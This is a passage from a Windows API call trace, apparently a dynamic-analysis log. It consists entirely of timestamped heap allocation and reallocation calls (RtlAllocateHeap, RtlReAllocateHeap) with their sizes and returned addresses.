(HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba570 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba5a0 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3430 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba5d0 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3430, Size=0x10) returned 0x1b824d80 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba600 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x18) returned 0x1b824da0 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba450 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x20) returned 0x1b7ba480 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba4b0 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ba480, Size=0x28) returned 0x1b7ba4e0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba480 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ba4e0, Size=0x30) returned 0x1b7d7900 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba4e0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x38) returned 0x1b7d78c0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba9f0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d78c0, Size=0x40) returned 0x17a520 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x126180 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x48) returned 0x17a750 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8289a0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x50) returned 0xed090 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8289d0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0xed090, Size=0x58) returned 0x1b7ce820 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828a00 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce820, Size=0x60) returned 0x1b7c19c0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828a30 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x68) returned 0x1b7c1a30 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828a60 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1a30, Size=0x70) returned 0x1b79d7f0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828a90 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d7f0, Size=0x78) returned 0x1b79d870 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828ac0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d870, Size=0x80) returned 0x1b783cb0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828af0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783cb0, Size=0x88) returned 0x1b783d40 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828b20 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783d40, Size=0x90) returned 0x1b7acf80 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828b50 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7acf80, Size=0x98) returned 0x1b7ad020 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828b80 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ad020, Size=0xa0) returned 0x1b7a4cb0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828bb0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a4cb0, Size=0xa8) returned 0x1b7a5180 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828be0 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a5180, Size=0xb0) returned 0x106580 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828c10 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106580, Size=0xb8) returned 0x106640 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828c40 [0085.141] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106640, Size=0xc0) returned 0x1182d0 [0085.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828c70 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1182d0, Size=0xc8) returned 0x1183a0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828ca0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1183a0, Size=0xd0) returned 0x1b776690 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828cd0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776690, Size=0xd8) returned 0x1b776770 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828d00 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776770, Size=0xe0) returned 0x1b798260 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828d30 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798260, Size=0xe8) returned 0x1b798170 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828d60 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798170, Size=0xf0) returned 0x1b7731b0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828d90 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7731b0, Size=0xf8) returned 0x1b772eb0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828dc0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b772eb0, Size=0x100) returned 0x168d60 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828df0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x168d60, Size=0x108) returned 0x1695e0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828e20 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1695e0, Size=0x110) returned 0x166bc0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828e50 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166bc0, Size=0x118) returned 0x166ce0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828e80 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166ce0, Size=0x120) returned 0x1b7d3a20 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828eb0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3a20, Size=0x128) returned 0x1051b0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828ee0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1051b0, Size=0x130) returned 0xb8940 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828f10 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0xb8940, Size=0x138) returned 0xb8940 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828f40 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0xb8940, Size=0x140) returned 0xb8940 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828f70 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828fa0 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b828fd0 [0085.142] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824d80 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829000 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x18) returned 0x1b824dc0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829030 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x20) returned 0x1b829060 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829090 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b829060, Size=0x28) returned 0x1b8290c0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829060 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b8290c0, Size=0x30) returned 0x1b7d78c0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8290c0 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d78c0, Size=0x38) returned 0x1b7d7900 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8290f0 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x40) returned 0x17a750 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829120 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x48) returned 0x17a520 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829150 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x50) returned 0x1b7ce820 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829180 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce820, Size=0x58) returned 0x1b7ce880 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8291b0 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce880, Size=0x60) returned 0x1b7c1a30 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8291e0 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1a30, Size=0x68) returned 0x1b7c19c0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829210 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x70) returned 0x1b79d870 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829240 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d870, Size=0x78) returned 0x1b79d7f0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829270 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d7f0, Size=0x80) returned 0x1b783d40 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8292a0 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x18) returned 0x1b824dc0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8292d0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829300 [0085.143] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829330 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x18) returned 0x1b824d80 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829360 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x20) returned 0x1b829390 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8293c0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b829390, Size=0x28) returned 0x1b8293f0 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829390 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b8293f0, Size=0x30) returned 0x1b7d7900 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8293f0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x38) returned 0x1b7d78c0 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829420 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d78c0, Size=0x40) returned 0x17a520 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829450 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x48) returned 0x17a750 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829480 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x50) returned 0x1b7ce880 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8294b0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce880, Size=0x58) returned 0x1b7ce820 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8294e0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce820, Size=0x60) returned 0x1b7c19c0 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829510 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x68) returned 0x1b7c1a30 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829540 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1a30, Size=0x70) returned 0x1b79d7f0 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829570 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d7f0, Size=0x78) returned 0x1b79d870 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8295a0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d870, Size=0x80) returned 0x1b783cb0 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8295d0 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783cb0, Size=0x88) returned 0x1b783e60 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829600 [0085.144] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783e60, Size=0x90) returned 0x1b7ad020 [0085.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829630 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ad020, Size=0x98) returned 0x1b7acf80 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829660 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7acf80, Size=0xa0) returned 0x1b7a5180 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829690 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a5180, Size=0xa8) returned 0x1b7a4cb0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8296c0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a4cb0, Size=0xb0) returned 0x106640 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8296f0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106640, Size=0xb8) returned 0x106580 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829720 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106580, Size=0xc0) returned 0x1183a0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829750 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1183a0, Size=0xc8) returned 0x1182d0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829780 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1182d0, Size=0xd0) returned 0x1b776770 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8297b0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776770, Size=0xd8) returned 0x1b776690 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8297e0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776690, Size=0xe0) returned 0x1b798170 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829810 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798170, Size=0xe8) returned 0x1b798260 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829840 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798260, Size=0xf0) returned 0x1b772eb0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829870 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b772eb0, Size=0xf8) returned 0x1b7731b0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8298a0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7731b0, Size=0x100) returned 0x1695e0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8298d0 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1695e0, Size=0x108) returned 0x168d60 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829900 [0085.145] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x168d60, Size=0x110) returned 0x166ce0 [0085.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b829930 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166ce0, Size=0x118) returned 0x166bc0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0650 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166bc0, Size=0x120) returned 0x1051b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0680 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1051b0, Size=0x128) returned 0x1b7d3a20 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d06b0 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3a20, Size=0x130) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d06e0 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x138) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0710 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x140) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0740 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x148) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0770 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x150) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d07a0 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x158) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d07d0 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x160) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0800 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x168) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0830 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x170) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0860 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x178) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0890 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x180) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d08c0 [0085.146] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x188) returned 0x1b7dc6b0 [0085.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d08f0 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x190) returned 0x1b7dc6b0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0920 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x198) returned 0x1b7dc6b0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0950 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc6b0, Size=0x1a0) returned 0x1b7dc6b0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0980 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x20) returned 0x1b7d09b0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d09e0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0a10 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824dc0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0a40 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x18) returned 0x1b824d80 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0a70 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x20) returned 0x1b7d0aa0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0ad0 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d0aa0, Size=0x28) returned 0x1b7d0b00 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0aa0 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d0b00, Size=0x30) returned 0x1b7d78c0 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0b00 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce940, Size=0x60) returned 0x1b7c1a30 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0b30 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0b60 [0085.147] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) 